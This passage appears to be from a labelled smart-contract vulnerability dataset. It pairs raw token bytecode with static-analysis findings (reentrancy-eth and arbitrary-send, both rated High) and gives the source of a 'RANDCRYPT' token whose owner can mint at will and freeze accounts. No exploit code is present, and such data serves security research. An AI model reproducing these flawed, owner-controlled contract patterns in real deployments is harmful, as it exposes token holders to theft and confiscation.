1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ecc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f2043756d53686962000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ecc565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64613349565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906132a2565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4b565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612ecc565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612f4c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612831565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612831565b6040518363ffffffff1660e01b8152600401610df9929190612d1c565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612831565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612d6e565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a01565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612d45565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a791906129a7565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612ecc565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e8c565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611fd390919063ffffffff16565b61204e90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111e99190612f8c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612e4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612f8c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e0c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612eec565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600e60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612f6c565b60405180910390fd5b5b5b600f5481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600e60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c91906130c2565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600e60159054906101000a900460ff16158015611b085750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600e60169054906101000a900460ff165b15611b4857611b2e81611d4b565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612098565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612dea565b60405180910390fd5b5060008385611c6491906131a3565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd9573d6000803e3d6000fd5b5050565b6000600654821115611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90612e2c565b60405180910390fd5b6000611d2e6120c5565b9050611d43818461204e90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8357611d82613378565b5b604051908082528060200260200182016040528015611db15781602001602082028036833780820191505090505b5090503081600081518110611dc957611dc8613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6b57600080fd5b505afa158015611e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea39190612831565b81600181518110611eb757611eb6613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f82959493929190612fa7565b600060405180830381600087803b158015611f9c57600080fd5b505af1158015611fb0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe65760009050612048565b60008284611ff49190613149565b90508284826120039190613118565b14612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90612eac565b60405180910390fd5b809150505b92915050565b600061209083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f0565b905092915050565b806120a6576120a5612153565b5b6120b1848484612184565b806120bf576120be61234f565b5b50505050565b60008060006120d2612361565b915091506120e9818361204e90919063ffffffff16565b9250505090565b60008083118290612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e9190612dea565b60405180910390fd5b50600083856121469190613118565b9050809150509392505050565b600060085414801561216757506000600954145b1561217157612182565b600060088190555060006009819055505b565b600080600080600080612196876123c3565b9550955095509550955095506121f486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d5816124d2565b6122df848361258f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233c9190612f8c565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612397683635c9adc5dea0000060065461204e90919063ffffffff16565b8210156123b657600654683635c9adc5dea000009350935050506123bf565b81819350935050505b9091565b60008060008060008060008060006123df8a600854600f6125c9565b92509250925060006123ef6120c5565b905060008060006124028e87878761265f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b600080828461248391906130c2565b9050838110156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90612e6c565b60405180910390fd5b8091505092915050565b60006124dc6120c5565b905060006124f38284611fd390919063ffffffff16565b905061254781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a48260065461242a90919063ffffffff16565b6006819055506125bf8160075461247490919063ffffffff16565b6007819055505050565b6000806000806125f560646125e7888a611fd390919063ffffffff16565b61204e90919063ffffffff16565b9050600061261f6064612611888b611fd390919063ffffffff16565b61204e90919063ffffffff16565b905060006126488261263a858c61242a90919063ffffffff16565b61242a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126788589611fd390919063ffffffff16565b9050600061268f8689611fd390919063ffffffff16565b905060006126a68789611fd390919063ffffffff16565b905060006126cf826126c1858761242a90919063ffffffff16565b61242a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126fb6126f684613041565b61301c565b9050808382526020820190508285602086028201111561271e5761271d6133ac565b5b60005b8581101561274e57816127348882612758565b845260208401935060208301925050600181019050612721565b5050509392505050565b600081359050612767816136c2565b92915050565b60008151905061277c816136c2565b92915050565b600082601f830112612797576127966133a7565b5b81356127a78482602086016126e8565b91505092915050565b6000813590506127bf816136d9565b92915050565b6000815190506127d4816136d9565b92915050565b6000813590506127e9816136f0565b92915050565b6000815190506127fe816136f0565b92915050565b60006020828403121561281a576128196133b6565b5b600061282884828501612758565b91505092915050565b600060208284031215612847576128466133b6565b5b60006128558482850161276d565b91505092915050565b60008060408385031215612875576128746133b6565b5b600061288385828601612758565b925050602061289485828601612758565b9150509250929050565b6000806000606084860312156128b7576128b66133b6565b5b60006128c586828701612758565b93505060206128d686828701612758565b92505060406128e7868287016127da565b9150509250925092565b60008060408385031215612908576129076133b6565b5b600061291685828601612758565b9250506020612927858286016127da565b9150509250929050565b600060208284031215612947576129466133b6565b5b600082013567ffffffffffffffff811115612965576129646133b1565b5b61297184828501612782565b91505092915050565b6000602082840312156129905761298f6133b6565b5b600061299e848285016127b0565b91505092915050565b6000602082840312156129bd576129bc6133b6565b5b60006129cb848285016127c5565b91505092915050565b6000602082840312156129ea576129e96133b6565b5b60006129f8848285016127da565b91505092915050565b600080600060608486031215612a1a57612a196133b6565b5b6000612a28868287016127ef565b9350506020612a39868287016127ef565b9250506040612a4a868287016127ef565b9150509250925092565b6000612a608383612a6c565b60208301905092915050565b612a75816131d7565b82525050565b612a84816131d7565b82525050565b6000612a958261307d565b612a9f81856130a0565b9350612aaa8361306d565b8060005b83811015612adb578151612ac28882612a54565b9750612acd83613093565b925050600181019050612aae565b5085935050505092915050565b612af1816131e9565b82525050565b612b008161322c565b82525050565b6000612b1182613088565b612b1b81856130b1565b9350612b2b81856020860161323e565b612b34816133bb565b840191505092915050565b6000612b4c6023836130b1565b9150612b57826133cc565b604082019050919050565b6000612b6f602a836130b1565b9150612b7a8261341b565b604082019050919050565b6000612b926022836130b1565b9150612b9d8261346a565b604082019050919050565b6000612bb5601b836130b1565b9150612bc0826134b9565b602082019050919050565b6000612bd8601d836130b1565b9150612be3826134e2565b602082019050919050565b6000612bfb6021836130b1565b9150612c068261350b565b604082019050919050565b6000612c1e6020836130b1565b9150612c298261355a565b602082019050919050565b6000612c416029836130b1565b9150612c4c82613583565b604082019050919050565b6000612c646025836130b1565b9150612c6f826135d2565b604082019050919050565b6000612c876024836130b1565b9150612c9282613621565b604082019050919050565b6000612caa6017836130b1565b9150612cb582613670565b602082019050919050565b6000612ccd6011836130b1565b9150612cd882613699565b602082019050919050565b612cec81613215565b82525050565b612cfb8161321f565b82525050565b6000602082019050612d166000830184612a7b565b92915050565b6000604082019050612d316000830185612a7b565b612d3e6020830184612a7b565b9392505050565b6000604082019050612d5a6000830185612a7b565b612d676020830184612ce3565b9392505050565b600060c082019050612d836000830189612a7b565b612d906020830188612ce3565b612d9d6040830187612af7565b612daa6060830186612af7565b612db76080830185612a7b565b612dc460a0830184612ce3565b979650505050505050565b6000602082019050612de46000830184612ae8565b92915050565b60006020820190508181036000830152612e048184612b06565b905092915050565b60006020820190508181036000830152612e2581612b3f565b9050919050565b60006020820190508181036000830152612e4581612b62565b9050919050565b60006020820190508181036000830152612e6581612b85565b9050919050565b60006020820190508181036000830152612e8581612ba8565b9050919050565b60006020820190508181036000830152612ea581612bcb565b9050919050565b60006020820190508181036000830152612ec581612bee565b9050919050565b60006020820190508181036000830152612ee581612c11565b9050919050565b60006020820190508181036000830152612f0581612c34565b9050919050565b60006020820190508181036000830152612f2581612c57565b9050919050565b60006020820190508181036000830152612f4581612c7a565b9050919050565b60006020820190508181036000830152612f6581612c9d565b9050919050565b60006020820190508181036000830152612f8581612cc0565b9050919050565b6000602082019050612fa16000830184612ce3565b92915050565b600060a082019050612fbc6000830188612ce3565b612fc96020830187612af7565b8181036040830152612fdb8186612a8a565b9050612fea6060830185612a7b565b612ff76080830184612ce3565b9695505050505050565b60006020820190506130166000830184612cf2565b92915050565b6000613026613037565b90506130328282613271565b919050565b6000604051905090565b600067ffffffffffffffff82111561305c5761305b613378565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130cd82613215565b91506130d883613215565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561310d5761310c6132eb565b5b828201905092915050565b600061312382613215565b915061312e83613215565b92508261313e5761313d61331a565b5b828204905092915050565b600061315482613215565b915061315f83613215565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613198576131976132eb565b5b828202905092915050565b60006131ae82613215565b91506131b983613215565b9250828210156131cc576131cb6132eb565b5b828203905092915050565b60006131e2826131f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323782613215565b9050919050565b60005b8381101561325c578082015181840152602081019050613241565b8381111561326b576000848401525b50505050565b61327a826133bb565b810181811067ffffffffffffffff8211171561329957613298613378565b5b80604052505050565b60006132ad82613215565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132e0576132df6132eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136cb816131d7565b81146136d657600080fd5b50565b6136e2816131e9565b81146136ed57600080fd5b50565b6136f981613215565b811461370457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e726b913caeebc6b2b328a98a89c623faabddc84c595a10953784f241f4e24eb64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
78
0xa7a8d4b626a0b097279c7f2d696af65fe3dc6f70
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract RANDCRYPT is owned, TokenERC20 { mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function RANDCRYPT( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018657806318160ddd146101eb57806323b872dd14610216578063313ce5671461029b57806342966c68146102cc57806370a082311461031157806379c650681461036857806379cc6790146103b55780638da5cb5b1461041a57806395d89b4114610471578063a9059cbb14610501578063b414d4b614610566578063cae9ca51146105c1578063dd62ed3e1461066c578063e724529c146106e3578063f2fde38b14610732575b600080fd5b34801561010257600080fd5b5061010b610775565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610813565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b50610200610905565b6040518082815260200191505060405180910390f35b34801561022257600080fd5b50610281600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061090b565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102b0610a38565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d857600080fd5b506102f760048036038101908080359060200190929190505050610a4b565b604051808215151515815260200191505060405180910390f35b34801561031d57600080fd5b50610352600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b4f565b6040518082815260200191505060405180910390f35b34801561037457600080fd5b506103b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b67565b005b3480156103c157600080fd5b50610400600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cd8565b604051808215151515815260200191505060405180910390f35b34801561042657600080fd5b5061042f610ef2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047d57600080fd5b50610486610f17565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c65780820151818401526020810190506104ab565b50505050905090810190601f1680156104f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050d57600080fd5b5061054c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fb5565b604051808215151515815260200191505060405180910390f35b34801561057257600080fd5b506105a7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fcc565b604051808215151515815260200191505060405180910390f35b3480156105cd57600080fd5b50610652600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050